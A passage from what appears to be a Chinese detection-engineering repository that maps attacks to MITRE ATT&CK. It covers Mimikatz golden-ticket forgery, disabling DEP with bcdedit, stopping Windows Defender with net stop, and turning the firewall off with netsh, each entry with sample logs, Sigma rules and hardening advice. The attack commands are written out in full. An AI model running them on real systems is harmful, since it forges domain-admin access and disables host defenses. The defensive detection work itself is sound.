伪造TGT注入成功，当前会话具备域管理员权限。\n\n![验证](https://s1.ax1x.com/2020/04/16/JkSeY9.png)\n\n##### 方法2：生成票据文件并导入\n\n**生成票据**：\n```cmd\nmimikatz.exe \"kerberos::golden /domain:abcc.org /sid:S-1-5-21-1234567890-123456789-123456789 /rc4:aabbccddeeff11223344556677889900 /user:fakeadmin /ticket:test.kirbi\" exit\n```\n\n![伪造2](https://s1.ax1x.com/2020/04/16/JkSMy6.png)\n\n**导入票据**：\n```cmd\nmimikatz.exe \"kerberos::ptt test.kirbi\" exit\n```\n\n![导入](https://s1.ax1x.com/2020/04/16/JkSQOK.png)\n\n**结果**：\n- 生成`test.kirbi`文件并成功导入，当前会话获得伪造TGT。\n\n![验证1](https://s1.ax1x.com/2020/04/16/JkSd6P.png)\n\n#### 5. 验证攻击效果\n\n**命令**：\n```cmd\ndir \\\\ICBC.abcc.org\\c$\n```\n\n**结果**：\n- 成功列出域控`C$`共享目录，表明伪造TGT有效，具备域管理员权限。\n\n## 测试留痕\n\n正常日志痕迹\n\n![正常](https://s1.ax1x.com/2020/04/16/JkS6Yj.png)\n\n异常日志痕迹\n\n![异常](https://s1.ax1x.com/2020/04/16/JkSykQ.png)\n\n### Windows安全日志（Event ID 4624：账户登录）\n\n**正常登录日志**：\n```xml\n日志名称: Security\n来源: Microsoft-Windows-Security-Auditing\n日期: 2020/04/16 10:00:00\n事件 ID: 4624\n任务类别: Logon\n级别: 信息\n用户: N/A\n计算机: ICBC.abcc.org\n描述:\n已成功登录一个账户。\n\n主题:\n  安全 ID: NULL SID\n  帐户名: -\n  帐户域: -\n  登录 ID: 0x0\n\n登录信息:\n  登录类型: 3\n  受限管理员模式: -\n  虚拟账户: 否\n  提升的令牌: 是\n  模拟级别: 模拟\n  新登录:\n    安全 ID: ABCC\\user1\n    帐户名: user1\n    帐户域: ABCC\n    登录 ID: 0x123456\n    登录 GUID: {00000000-0000-0000-0000-000000000000}\n  网络字段:\n    工作站名称: CLIENT1\n    来源网络地址: 192.168.1.100\n    来源端口: 12345\n  登录过程: Kerberos\n  身份验证包: Kerberos\n  票据选项: 0x40810010\n  票据加密类型: 0x17\n```\n\n**黄金票据异常日志**：\n```xml\n日志名称: Security\n来源: Microsoft-Windows-Security-Auditing\n日期: 2020/04/16 10:00:00\n事件 ID: 4624\n任务类别: Logon\n级别: 信息\n用户: N/A\n计算机: ICBC.abcc.org\n描述:\n已成功登录一个账户。\n\n主题:\n  安全 ID: NULL SID\n  帐户名: -\n  帐户域: -\n  登录 ID: 0x0\n\n登录信息:\n  登录类型: 3\n  受限管理员模式: -\n  虚拟账户: 否\n  提升的令牌: 是\n  模拟级别: 模拟\n  新登录:\n    安全 ID: ABCC\\fakeadmin\n    帐户名: fakeadmin\n    帐户域: ABCC\n    登录 ID: 0x789012\n    登录 GUID: {00000000-0000-0000-0000-000000000000}\n  网络字段:\n    工作站名称: CLIENT1\n    来源网络地址: 192.168.1.100\n    来源端口: 12345\n  登录过程: Kerberos\n  身份验证包: Kerberos\n  票据选项: 0x40810010\n  票据加密类型: 0x17\n```\n\n**分析**：\n- 异常日志显示登录用户为`fakeadmin`，可能为不存在的账户或未记录的合法用户。\n- 帐户域为`ABCC`，但无对应AD账户，提示伪造票据。\n\n### Windows安全日志（Event ID 4672：特权分配）\n\n**异常日志**：\n```xml\n日志名称: Security\n来源: Microsoft-Windows-Security-Auditing\n日期: 2020/04/16 10:00:00\n事件 ID: 4672\n任务类别: Special Logon\n级别: 信息\n用户: N/A\n计算机: ICBC.abcc.org\n描述:\n已分配特权给新的登录。\n\n主题:\n  安全 ID: ABCC\\fakeadmin\n  帐户名: fakeadmin\n  帐户域: -\n  登录 ID: 0x789012\n\n特权:\n  SeSecurityPrivilege\n  SeTakeOwnershipPrivilege\n  SeLoadDriverPrivilege\n  ...\n```\n\n**分析**：\n- 账户域为空或异常（如`fakeadmin`无域），提示可能为黄金票据伪造的登录。\n- 分配高权限（如`SeSecurityPrivilege`）表明攻击者获得域管理员级别访问。\n\n## 检测规则/思路\n\n### Sigma规则\n\n```yaml\ntitle: 检测黄金票据登录行为\ndescription: Detects potential Golden Ticket usage by identifying Kerberos logins with anomalous account domains or non-existent users.\nstatus: experimental\nauthor: 12306Bro\ndate: 2023/10/01\nreferences:\n  - https://attack.mitre.org/techniques/T1550/003/\nlogsource:\n  product: windows\n  service: security\ndetection:\n  selection_login:\n    EventID: 4624\n    LogonType: 3\n    AuthenticationPackageName: Kerberos\n    AccountName|re: '.*' # 匹配任意用户名\n    AccountDomain|contains: '.'\n  selection_privilege:\n    EventID: 4672\n    AccountDomain: '-' # 空域或异常域\n  timeframe: 5s\n  condition: selection_login and selection_privilege\nfields:\n  - AccountName\n  - AccountDomain\n  - LogonType\nfalsepositives:\n  - Legitimate Kerberos logins with misconfigured domains\nlevel: high\ntags:\n  - attack.lateral_movement\n  - attack.t1550.003\n```\n\n**规则说明**：\n- 检测Event ID 4624（Kerberos登录）和Event ID 4672（特权分配）中账户域异常（如空或不匹配）的行为。\n- 时间窗口为5秒，确保登录和特权分配事件相关。\n- 规则为实验性，需测试以减少误报。\n\n### 流量侧检测建议\n\n由于Mimikatz修复可能导致日志检测误报，建议结合网络流量分析检测黄金票据：\n\n1. **监控AS-REP票据**：\n   - 捕获Kerberos AS-REP响应中的TGT票据，计算票据的唯一哈希值（基于加密内容）。\n   - 维护已颁发TGT哈希列表（列表A），设置过期时间（如10小时，TGT默认有效期）。\n\n2. **验证TGS-REQ票据**：\n   - 检查TGS-REQ请求中的TGT哈希是否在列表A中。\n   - 若TGT哈希不存在，则可能为伪造的黄金票据。\n\n3. **工具支持**：\n   - 使用网络监控工具（如Zeek、Wireshark）分析Kerberos流量。\n   - 部署IDS/IPS规则，检测异常TGT使用。\n\n4. **其他指标**：\n   - 监控异常的Kerberos票据加密类型（如RC4而非AES，可能表示旧版票据伪造）。\n   - 检查TGT请求来源是否为非预期主机。\n\n## 建议\n\n1. **监控Kerberos活动**：\n   - 启用详细Kerberos日志（Event ID 4768、4769），分析TGT和服务票据请求。\n   - 使用Sysmon（Event ID 1）监控Mimikatz等凭据转储工具的执行。\n\n2. **保护krbtgt账户**：\n   - 定期重置`krbtgt`密码（建议每6个月），需执行两次以失效旧哈希。\n   - 监控`krbtgt`账户的异常访问或DCSync操作。\n\n3. **基线化行为**：\n   - 建立正常Kerberos登录模式，识别异常账户或域（如不存在的`fakeadmin`）。\n   - 监控非预期主机发起的高权限登录。\n\n4. **部署SIEM系统**：\n   - 使用SIEM工具（如Splunk、Elastic）关联安全日志和网络流量，检测黄金票据使用。\n   - 设置高优先级告警，针对异常Kerberos登录。\n\n5. **限制高危操作**：\n   - 限制域控的远程访问，减少`krbtgt`哈希暴露风险。\n   - 使用组策略禁用RC4加密，强制使用AES。\n\n6. **响应措施**：\n   - 检测到黄金票据后，重置`krbtgt`密码并强制所有用户重新认证。\n   - 调查攻击来源，检查Mimikatz执行痕迹或其他凭据转储活动。\n\n7. **测试与验证**：\n   - 在测试环境中模拟黄金票据攻击，验证检测规则和流量分析有效性。\n   - 调整规则阈值，减少误报。\n\n## 参考推荐\n\n- MITRE ATT&CK T1550.003  \n  <https://attack.mitre.org/techniques/T1550/003/>\n- Microsoft：检测黄金票据攻击  \n  <https://docs.microsoft.com/en-us/defender-for-identity/cas-isa-golden-ticket>\n- Atomic Red Team T1550.003  \n  <https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1550.003/T1550.003.md>\n"
  },
  {
    "path": "Windows/07逃避防御/T1562-win-使用Bcdedit禁用DEP安全机制.md",
    "content": "# T1562-Win-使用Bcdedit禁用DEP安全机制\n\n## 描述\n\n攻击者可能通过修改系统组件来禁用或削弱防御机制，以规避检测（MITRE ATT&CK T1562）。这包括破坏预防性防御（如防火墙、防病毒软件）以及用于审核和识别恶意行为的检测功能（如事件日志、EDR）。其中一种技术是通过`bcdedit.exe`修改Windows的**数据执行保护（DEP）**设置，禁用此安全机制以便执行恶意代码。\n\n**数据执行保护（DEP）**是一种安全功能，旨在防止数据页面（如堆、栈、内存池）执行代码，通过设置内存页的**NX/XD（No-Execute/Execute Disable）**属性实现。它分为软件DEP（如SafeSEH）和硬件DEP，保护系统免受缓冲区溢出等攻击。DEP有四种工作模式：\n\n- **OptIn**：仅保护Windows系统组件（默认模式）。\n- **OptOut**：为非排除列表的程序和服务启用DEP。\n- **AlwaysOn**：对所有进程启用DEP。\n- **AlwaysOff**：对所有进程禁用DEP（高风险）。\n\n攻击者可能使用`bcdedit.exe /set {current} nx AlwaysOff`禁用DEP，允许恶意代码在数据页面执行，规避安全限制。\n\n### DEP局限性\n\n1. 并非所有CPU支持硬件DEP。\n2. 兼容性问题可能导致DEP对某些第三方插件或老旧程序（如ATL7.1以前版本）默认禁用。\n3. `/NXCOMPAT`编译选项仅在Windows Vista及以上有效，早期系统可能忽略。\n4. 早期Windows系统提供API（如`NtSetInformationProcess`）可动态修改DEP状态。\n\n## 测试案例\n\n### 测试1：使用bcdedit.exe禁用DEP\n\n攻击者通过`bcdedit.exe`将DEP设置为`AlwaysOff`，禁用所有进程的DEP保护。\n\n**攻击命令**（需以管理员权限在命令提示符中运行）：\n```cmd\nbcdedit.exe /set {current} nx AlwaysOff\n```\n\n**恢复命令**（恢复默认OptIn模式）：\n```cmd\nbcdedit.exe /set {current} nx OptIn\n```\n\n**说明**：\n- `nx AlwaysOff`禁用DEP，增加系统被缓冲区溢出攻击利用的风险。\n- 需重启系统使更改生效。\n- `OptIn`恢复默认设置，仅保护系统组件。\n\n## 检测日志\n\n- **Windows安全日志**：通过Event ID 4688（进程创建）记录`bcdedit.exe`的执行（需启用进程跟踪审核）。\n- **Sysmon日志**：通过Event ID 1（进程创建）捕获详细的命令行参数和父进程信息。\n\n## 测试复现\n\n### 测试1：禁用DEP\n\n**测试环境**：Windows Server 2019\n\n**攻击命令**：\n```cmd\nC:\\Users\\Administrator>bcdedit.exe /set {current} nx AlwaysOff\n操作成功完成。\n```\n\n**结果**：\n- 命令成功执行，DEP设置为`AlwaysOff`（需重启生效）。\n- 未生成错误提示，表明系统接受了配置更改。\n\n**验证命令**：\n```cmd\nbcdedit.exe /enum {current}\n```\n\n**输出示例**：\n```\nWindows Boot Loader\n-------------------\nidentifier              {current}\n...\nnx                      AlwaysOff\n```\n\n## 测试留痕\n\n### Windows安全日志（Event ID 4688：进程创建）\n\n```xml\n日志名称: Security\n来源: Microsoft-Windows-Security-Auditing\n日期: 2023/10/01 10:00:00\n事件 ID: 4688\n任务类别: Process Creation\n级别: 信息\n用户: SYSTEM\n计算机: JACKMA\n描述:\n已创建新进程。\n\n创建者主题:\n  安全 ID: JACKMA\\Administrator\n  帐户名: Administrator\n  帐户域: JACKMA\n  登录 ID: 0x73509\n\n目标主题:\n  安全 ID: NULL SID\n  帐户名: -\n  帐户域: -\n  登录 ID: 0x0\n\n进程信息:\n  新进程 ID: 0x15e4\n  新进程名称: C:\\Windows\\System32\\bcdedit.exe\n  令牌提升类型: %%1936 (TokenElevationTypeDefault)\n  强制性标签: Mandatory Label\\High Mandatory Level\n  创建者进程 ID: 0xaf0\n  创建者进程名称: C:\\Windows\\System32\\cmd.exe\n  进程命令行: bcdedit.exe /set {current} nx AlwaysOff\n```\n\n**分析**：\n- 日志记录了`bcdedit.exe`的执行，命令行明确包含`nx AlwaysOff`，表明DEP禁用尝试。\n- 父进程为`cmd.exe`，提示通过命令提示符触发。\n- 高完整性级别（High Mandatory Level）表明需要管理员权限。\n\n## 检测规则/思路\n\n### Sigma规则\n\n```yaml\ntitle: 使用bcdedit.exe禁用Windows DEP安全机制\ndescription: Detects execution of bcdedit.exe to disable Data Execution Prevention (DEP) by setting nx to AlwaysOff.\nstatus: experimental\ndate: 2023/10/01\nreferences:\n  - https://attack.mitre.org/techniques/T1562/\nlogsource:\n  product: windows\n  category: process_creation\ndetection:\n  selection:\n    EventID:\n      - 4688 # Windows安全日志\n      - 1    # Sysmon日志\n    Image|endswith: '\\bcdedit.exe'\n    CommandLine|contains: 'nx AlwaysOff'\n  condition: selection\nfields:\n  - Image\n  - CommandLine\n  - ParentImage\n  - User\nfalsepositives:\n  - Legitimate administrative changes to DEP settings for compatibility issues\nlevel: high\ntags:\n  - attack.defense_evasion\n  - attack.t1562\n```\n\n**规则说明**：\n- 检测`bcdedit.exe`执行时命令行包含`nx AlwaysOff`的进程创建事件，表明DEP禁用行为。\n- 覆盖Windows安全日志（Event ID 4688）和Sysmon日志（Event ID 1）。\n- 规则为实验性，需测试以减少合法兼容性调整的误报。\n\n### 建议\n\n1. **监控bcdedit执行**：\n   - 使用Sysmon（Event ID 1）捕获`bcdedit.exe`的进程创建事件，检查命令行是否包含`nx AlwaysOff`。\n   - 关注非管理员用户或非预期环境（如生产服务器）运行`bcdedit.exe`的行为。\n\n2. **启用命令行审计**：\n   - 配置Windows安全策略，启用进程跟踪审核（Event ID 4688）并记录命令行参数（需Windows 7+支持）。\n   - 确保Sysmon配置包含命令行和父进程信息。\n\n3. **基线化DEP设置**：\n   - 定期检查系统DEP状态（`bcdedit.exe /enum {current}`），记录合法配置（如`OptIn`或`OptOut`）。\n   - 生产环境中禁用DEP（`AlwaysOff`）应极为罕见，视为高危行为。\n\n4. **权限监控**：\n   - `bcdedit.exe`修改DEP需要管理员权限，监控非预期账户尝试执行的`bcdedit.exe`行为。\n   - 检测失败的尝试（可能因权限不足），可能是攻击者进行探测。\n\n5. **部署SIEM系统**：\n   - 使用SIEM工具（如Splunk、Elastic）分析安全日志和Sysmon日志，检测`bcdedit.exe`异常执行。\n   - 设置高优先级告警，针对`nx AlwaysOff`的命令。\n\n6. **行为链关联**：\n   - 将`bcdedit.exe`执行与其他可疑行为（如提权、代码注入、网络连接）关联，识别攻击链。\n   - 例如，检测禁用DEP后是否出现异常的进程执行或C2通信。\n\n7. **限制bcdedit使用**：\n   - 使用AppLocker或组策略限制`bcdedit.exe`的执行，仅允许在特定管理场景下运行。\n   - 监控未经授权的`bcdedit.exe`调用。\n\n8. **响应措施**：\n   - 检测到DEP禁用后，立即恢复DEP设置（`bcdedit.exe /set {current} nx OptIn`）并重启系统。\n   - 调查攻击来源，检查是否有后续恶意代码执行。\n\n9. **测试与验证**：\n   - 在测试环境中模拟禁用DEP，验证检测规则有效性。\n   - 调整规则阈值，排除合法兼容性调整的误报。\n\n## 参考推荐\n\n- MITRE ATT&CK T1562  \n  <https://attack.mitre.org/techniques/T1562/>\n- Windows安全机制：数据执行保护（DEP）  \n  <https://blog.csdn.net/m0_37809075/article/details/83008617>\n- Atomic Red Team T1562  \n  <https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1562/T1562.md>\n- Microsoft文档：bcdedit命令  \n  <https://docs.microsoft.com/en-us/windows-hardware/drivers/devtest/bcdedit-commands>\n"
  },
  {
    "path": "Windows/07逃避防御/T1562.001-Win-使用Net stop关闭Windefend.md",
    "content": "# T1562.001-Win-使用net stop关闭部分服务\n\n## 描述\n\n攻击者可能通过禁用或干扰防御机制来规避检测（MITRE ATT&CK T1562.001）。这包括阻止监测软件捕获告警、阻止事件日志收集和分析，或修改安全工具配置以逃避追踪。一种常见技术是使用`net stop`命令停止关键系统服务，如**Windows Defender**（`WinDefend`）、**Windows防火墙**（`mpssvc`）或其他安全相关服务，以削弱主机防护能力。\n\nWindows Defender和其他安全服务（如`SDRSVC`、SysMain`）是保护系统免受恶意软件和间谍软件威胁的重要组件。攻击者可能尝试停止这些服务，以允许恶意代码执行、数据外泄或横向移动。关闭这些服务通常需要管理员权限，且可能触发系统错误（如错误代码5：拒绝访问），但即使失败的尝试也可能留下可检测的痕迹。检测到此类行为应立即触发管理员调查，恢复服务并分析异常来源。\n\n## 测试案例\n\n### 测试1：使用net stop关闭关键服务\n\n攻击者在Windows Server 2019上尝试停止多个系统服务，包括安全服务和非安全服务。\n\n**攻击命令**（需管理员权限）：\n```cmd\nnet stop WinDefend\nnet stop SDRSVC\nnet stop vds\nnet stop SysMain\nnet stop FontCache\n```\n\n**服务说明**：\n- `WinDefend`：Windows Defender防病毒服务。\n- `SDRSVC`：Windows备份和还原服务。\n- `vds`：虚拟磁盘服务。\n- `SysMain`：超级预取服务，提升系统性能。\n- `FontCache`：Windows字体缓存服务。\n\n**恢复命令**：\n```cmd\nnet start WinDefend\nnet start SDRSVC\nnet start vds\nnet start SysMain\nnet start FontCache\n```\n\n**说明**：\n- 某些服务（如`WinDefend`）可能因系统保护机制拒绝停止，需更高权限或特定条件（如禁用防篡改保护）。\n- 即使命令失败，进程创建日志仍会记录尝试。\n\n## 检测日志\n\n- **Windows安全日志**：Event ID 4688（进程创建），记录`net.exe`和`net1.exe`的执行（需启用进程跟踪审核）。\n- **Windows系统日志**：Event ID 7036（服务状态变更），记录服务停止或启动。\n- **Sysmon日志**：\n  - Event ID 1（进程创建），捕获`net.exe`的命令行参数。\n  - Event ID 13（注册表修改），可能记录服务配置更改。\n\n## 测试复现\n\n### 测试1：尝试停止WinDefend服务\n\n**测试环境**：Windows Server 2019\n\n**攻击命令**：\n```cmd\nC:\\Users\\Administrator>net stop WinDefend\n发生系统错误 5。\n拒绝访问。\n```\n\n**结果**：\n- 命令失败，提示“拒绝访问”（错误代码5），表明`WinDefend`受保护。\n- 安全日志记录`net.exe`和`net1.exe`的进程创建事件。\n\n## 测试留痕\n\n### Windows安全日志（Event ID 4688：进程创建）\n\n```xml\n日志名称: Security\n来源: Microsoft-Windows-Security-Auditing\n日期: 2022/12/26 16:54:49\n事件 ID: 4688\n任务类别: Process Creation\n级别: 信息\n关键字: 审核成功\n用户: N/A\n计算机: WIN-SAPNNP06AE5.jackma.com\n描述:\n已创建新进程。\n\n创建者主题:\n  安全 ID: JACKMA\\Administrator\n  帐户名: Administrator\n  帐户域: JACKMA\n  登录 ID: 0x73509\n\n目标主题:\n  安全 ID: NULL SID\n  帐户名: -\n  帐户域: -\n  登录 ID: 0x0\n\n进程信息:\n  新进程 ID: 0x3c4\n  新进程名称: C:\\Windows\\System32\\net.exe\n  令牌提升类型: %%1936\n  强制性标签: Mandatory Label\\High Mandatory Level\n  创建者进程 ID: 0xaf0\n  创建者进程名称: C:\\Windows\\System32\\cmd.exe\n  进程命令行: net stop WinDefend\n\n已创建新进程。\n\n创建者主题:\n  安全 ID: JACKMA\\Administrator\n  帐户名: Administrator\n  帐户域: JACKMA\n  登录 ID: 0x73509\n\n目标主题:\n  安全 ID: NULL SID\n  帐户名: -\n  帐户域: -\n  登录 ID: 0x0\n\n进程信息:\n  新进程 ID: 0xa20\n  新进程名称: C:\\Windows\\System32\\net1.exe\n  令牌提升类型: %%1936\n  强制性标签: Mandatory Label\\High Mandatory Level\n  创建者进程 ID: 0x3c4\n  创建者进程名称: C:\\Windows\\System32\\net.exe\n  进程命令行: C:\\Windows\\System32\\net1 stop WinDefend\n```\n\n**分析**：\n- 日志记录`net.exe`和`net1.exe`的执行，命令行包含`stop WinDefend`。\n- 父进程为`cmd.exe`，提示通过命令提示符触发。\n- 即使命令失败，日志仍记录尝试。\n\n### Windows系统日志（Event ID 7036：服务状态变更）\n\n```xml\n日志名称: System\n来源: Service Control Manager\n日期: 2022/12/26 16:54:50\n事件 ID: 7036\n任务类别: None\n级别: 信息\n用户: N/A\n计算机: WIN-SAPNNP06AE5.jackma.com\n描述:\nSysMain 服务处于 停止 状态。\n```\n\n**分析**：\n- 日志记录`SysMain`服务停止，表明`net stop SysMain`成功执行。\n- 其他服务（如`WinDefend`）可能因保护机制未生成此日志。\n\n## 检测规则/思路\n\n### Sigma规则\n\n```yaml\ntitle: 检测使用net stop关闭关键系统服务\ndescription: Detects attempts to stop critical Windows services using net stop, including security-related services like WinDefend.\nstatus: experimental\nauthor: 12306Bro\ndate: 2023/10/01\nreferences:\n  - https://attack.mitre.org/techniques/T1562/001/\nlogsource:\n  product: windows\n  category: process_creation\ndetection:\n  selection_process:\n    EventID:\n      - 4688 # Windows安全日志\n      - 1    # Sysmon日志\n    Image|endswith:\n      - '\\net.exe'\n      - '\\net1.exe'\n    CommandLine|contains: 'stop'\n    CommandLine|contains:\n      - 'WinDefend'\n      - 'mpssvc'\n      - 'SDRSVC'\n      - 'vds'\n      - 'SysMain'\n      - 'FontCache'\n  selection_service:\n    EventID: 7036\n    EventData|contains:\n      - 'Windows Defender Antivirus Service 服务处于 停止 状态'\n      - 'Windows Backup 服务处于 停止 状态'\n      - 'Virtual Disk 服务处于 停止 状态'\n      - 'SysMain 服务处于 停止 状态'\n      - 'Windows Font Cache Service 服务处于 停止 状态'\n  condition: selection_process or selection_service\nfields:\n  - Image\n  - CommandLine\n  - ParentImage\n  - EventData\nfalsepositives:\n  - Legitimate administrative service management\nlevel: high\ntags:\n  - attack.defense_evasion\n  - attack.t1562.001\n```\n\n**规则说明**：\n- 检测`net.exe`或`net1.exe`执行`stop`命令，针对关键服务（如`WinDefend`、`mpssvc`）。\n- 检测系统日志中关键服务停止事件（Event ID 7036）。\n- 规则为实验性，需测试以减少合法管理员操作的误报。\n\n### 建议\n\n1. **监控服务操作**：\n   - 使用Sysmon（Event ID 1）捕获`net.exe`和`net1.exe`的进程创建，检查命令行是否包含`stop`和关键服务名称。\n   - 监控Event ID 13（注册表修改），检测服务配置更改（如`HKLM\\SYSTEM\\CurrentControlSet\\Services`）。\n\n2. **启用命令行审计**：\n   - 配置Windows安全策略，启用进程跟踪审核（Event ID 4688）并记录命令行参数（需Windows 7+支持）。\n   - 确保Sysmon配置包含命令行信息。\n\n3. **基线化行为**：\n   - 建立关键服务（如`WinDefend`、`mpssvc`）的正常运行基线，生产环境中停止这些服务应极为罕见。\n   - 监控非管理员用户或非预期父进程（如`powershell.exe`、`rundll32.exe`）执行服务停止操作。\n\n4. **保护关键服务**：\n   - 配置`WinDefend`和`mpssvc`等服务的防篡改保护，防止未经授权停止。\n   - 使用组策略设置服务为自动启动，防止手动禁用。\n\n5. **部署SIEM系统**：\n   - 使用SIEM工具（如Splunk、Elastic）分析安全日志和系统日志，检测服务停止行为。\n   - 设置高优先级告警，针对关键服务的`net stop`尝试。\n\n6. **行为链关联**：\n   - 将服务停止与其他可疑行为（如网络连接、文件下载、提权）关联，识别攻击链。\n   - 例如，检测停止`WinDefend`后是否出现恶意进程或C2通信。\n\n7. **权限监控**：\n   - `net stop`需要管理员权限，监控非预期账户尝试执行的命令。\n   - 检测失败的尝试（如错误代码5），可能是攻击者进行权限探测。\n\n8. **响应措施**：\n   - 检测到服务停止后，立即恢复服务（`net start <service>`）并调查攻击来源。\n   - 检查是否有后续恶意活动（如恶意文件执行）。\n\n9. **测试与验证**：\n   - 在测试环境中模拟停止关键服务，验证检测规则有效性。\n   - 调整规则阈值，排除合法管理员操作的误报。\n\n## 参考推荐\n\n- MITRE ATT&CK T1562.001  \n  <https://attack.mitre.org/techniques/T1562/001/>\n- Microsoft文档：net命令  \n  <https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/net>\n- Atomic Red Team T1562.001  \n  <https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1562.001/T1562.001.md>\n"
  },
  {
    "path": "Windows/07逃避防御/T1562.001-Win-使用Netsh关闭windows防火墙.md",
    "content": "# T1562.001-Win-使用Netsh关闭Windows防火墙\n\n## 描述\n\n攻击者可能通过禁用或干扰防御机制来规避检测（MITRE ATT&CK T1562.001）。这包括阻止监测软件捕获告警、阻止事件日志收集和分析，或修改安全工具配置以逃避追踪。一种常见技术是使用`netsh`命令禁用**Windows防火墙**，以允许未经授权的网络通信（如C2连接、数据外泄）。\n\n**Windows防火墙**（由`mpssvc`服务支持）是Windows内置的安全组件，用于控制网络流量。攻击者可能通过命令（如`netsh advfirewall set <profile> state off`）或停止相关服务（如`net stop mpssvc`）禁用防火墙，从而绕过网络防护。关闭防火墙可能是恶意活动（如间谍软件、勒索软件）的早期迹象，应立即触发管理员调查。\n\n## 测试案例\n\n### 测试1：使用netsh关闭Windows防火墙\n\n攻击者使用`netsh advfirewall`命令关闭Windows防火墙的公共配置文件（或其他配置文件，如`domain`、`private`）。\n\n**攻击命令**（需管理员权限）：\n```cmd\nnetsh advfirewall set publicprofile state off\n```\n\n**恢复命令**：\n```cmd\nnetsh advfirewall set publicprofile state on\n```\n\n**说明**：\n- 命令禁用公共配置文件的防火墙规则，允许未经限制的网络流量。\n- 其他配置文件（`domainprofile`、`privateprofile`）也可类似操作。\n\n### 测试2：停止Windows防火墙服务\n\n攻击者通过停止`mpssvc`服务禁用防火墙。\n\n**攻击命令**（需管理员权限）：\n```cmd\nnet stop mpssvc\n```\n\n**恢复命令**：\n```cmd\nnet start mpssvc\n```\n\n**说明**：\n- `mpssvc`（Windows Defender Firewall服务）是防火墙的核心服务，停止它将禁用所有防火墙功能。\n\n## 检测日志\n\n- **Windows系统日志**：Event ID 7036（服务状态变更），记录`mpssvc`服务停止或启动。\n- **Windows安全日志**：Event ID 4688（进程创建），记录`netsh.exe`或`net.exe`的执行（需启用进程跟踪审核）。\n- **Sysmon日志**：\n  - Event ID 1（进程创建），捕获`netsh.exe`或`net.exe`的命令行参数。\n  - Event ID 13（注册表修改），可能记录防火墙配置更改。\n\n## 测试复现\n\n### 测试1：使用netsh关闭防火墙\n\n**测试环境**：Windows 7\n\n**攻击命令**：\n```cmd\nC:\\Windows\\system32>netsh advfirewall set publicprofile state off\n确定。\n```\n\n**结果**：\n- 公共配置文件防火墙成功禁用，网络流量不再受限。\n- 系统日志记录`mpssvc`服务状态变更（若服务被影响）。\n\n### 测试2：停止mpssvc服务\n\n**测试环境**：Windows 7\n\n**攻击命令**：\n```cmd\nC:\\Windows\\system32>net stop mpssvc\nWindows Firewall 服务正在停止.\nWindows Firewall 服务已成功停止。\n```\n\n**结果**：\n- `mpssvc`服务停止，防火墙功能完全禁用。\n- 系统日志记录服务停止事件。\n\n## 测试留痕\n\n### Windows系统日志（Event ID 7036：服务状态变更）\n\n```xml\n日志名称: System\n来源: Service Control Manager\n日期: 2023/10/01 10:00:00\n事件 ID: 7036\n任务类别: None\n级别: 信息\n用户: N/A\n计算机: WIN7-TEST\n描述:\nWindows Firewall 服务处于 停止 状态。\n```\n\n**分析**：\n- 日志记录`mpssvc`服务停止，表明防火墙被禁用。\n- 可能由`net stop mpssvc`或`netsh`间接触发。\n\n### Windows安全日志（Event ID 4688：进程创建）\n\n```xml\n日志名称: Security\n来源: Microsoft-Windows-Security-Auditing\n日期: 2023/10/01 10:00:00\n事件 ID: 4688\n任务类别: Process Creation\n级别: 信息\n用户: SYSTEM\n计算机: WIN7-TEST\n描述:\n已创建新进程。\n\n创建者主题:\n  安全 ID: WIN7-TEST\\Administrator\n  帐户名: Administrator\n  帐户域: WIN7-TEST\n  登录 ID: 0x3E7\n\n目标主题:\n  安全 ID: NULL SID\n  帐户名: -\n  帐户域: -\n  登录 ID: 0x0\n\n进程信息:\n  新进程 ID: 0x1234\n  新进程名称: C:\\Windows\\System32\\netsh.exe\n  令牌提升类型: %%1936\n  强制性标签: Mandatory Label\\High Mandatory Level\n  创建者进程 ID: 0x5678\n  创建者进程名称: C:\\Windows\\System32\\cmd.exe\n  进程命令行: netsh advfirewall set publicprofile state off\n```\n\n**分析**：\n- 日志记录`netsh.exe`执行，命令行明确包含`set publicprofile state off`。\n- 父进程为`cmd.exe`，提示通过命令提示符触发。\n\n## 检测规则/思路\n\n### Sigma规则\n\n```yaml\ntitle: 检测使用netsh关闭Windows防火墙\ndescription: Detects execution of netsh to disable Windows Firewall or stopping of the mpssvc service.\nstatus: experimental\nauthor: 12306Bro\ndate: 2023/10/01\nreferences:\n  - https://attack.mitre.org/techniques/T1562/001/\nlogsource:\n  product: windows\n  category: process_creation\ndetection:\n  selection_netsh:\n    EventID:\n      - 4688 # Windows安全日志\n      - 1    # Sysmon日志\n    Image|endswith: '\\netsh.exe'\n    CommandLine|contains:\n      - 'advfirewall set'\n      - 'state off'\n  selection_service:\n    EventID:\n      - 4688 # Windows安全日志\n      - 1    # Sysmon日志\n    Image|endswith: '\\net.exe'\n    CommandLine|contains: 'stop mpssvc'\n  selection_system:\n    EventID: 7036\n    EventData|contains: 'Windows Firewall 服务处于 停止 状态'\n  condition: selection_netsh or selection_service or selection_system\nfields:\n  - Image\n  - CommandLine\n  - ParentImage\n  - EventData\nfalsepositives:\n  - Legitimate administrative firewall adjustments\nlevel: high\ntags:\n  - attack.defense_evasion\n  - attack.t1562.001\n```\n\n**规则说明**：\n- 检测`netsh.exe`执行禁用防火墙的命令（如`set publicprofile state off`）。\n- 检测`net.exe`停止`mpssvc`服务。\n- 检测系统日志中`mpssvc`服务停止事件（Event ID 7036）。\n- 规则为实验性，需测试以减少合法管理员操作的误报。\n\n### 建议\n\n1. **监控防火墙操作**：\n   - 使用Sysmon（Event ID 1）捕获`netsh.exe`和`net.exe`的进程创建，检查命令行是否包含`state off`或`stop mpssvc`。\n   - 监控Event ID 13（注册表修改），检测防火墙配置更改（如`HKLM\\SYSTEM\\CurrentControlSet\\Services\\SharedAccess`）。\n\n2. **启用命令行审计**：\n   - 配置Windows安全策略，启用进程跟踪审核（Event ID 4688）并记录命令行参数（需Windows 7+支持）。\n   - 确保Sysmon配置包含命令行信息。\n\n3. **基线化行为**：\n   - 建立防火墙配置和服务的正常基线，生产环境中禁用防火墙应极为罕见。\n   - 监控非管理员用户或非预期父进程（如`powershell.exe`、`rundll32.exe`）执行防火墙操作。\n\n4. **部署SIEM系统**：\n   - 使用SIEM工具（如Splunk、Elastic）分析系统日志和安全日志，检测防火墙禁用行为。\n   - 设置高优先级告警，针对`mpssvc`停止或`netsh`禁用命令。\n\n5. **行为链关联**：\n   - 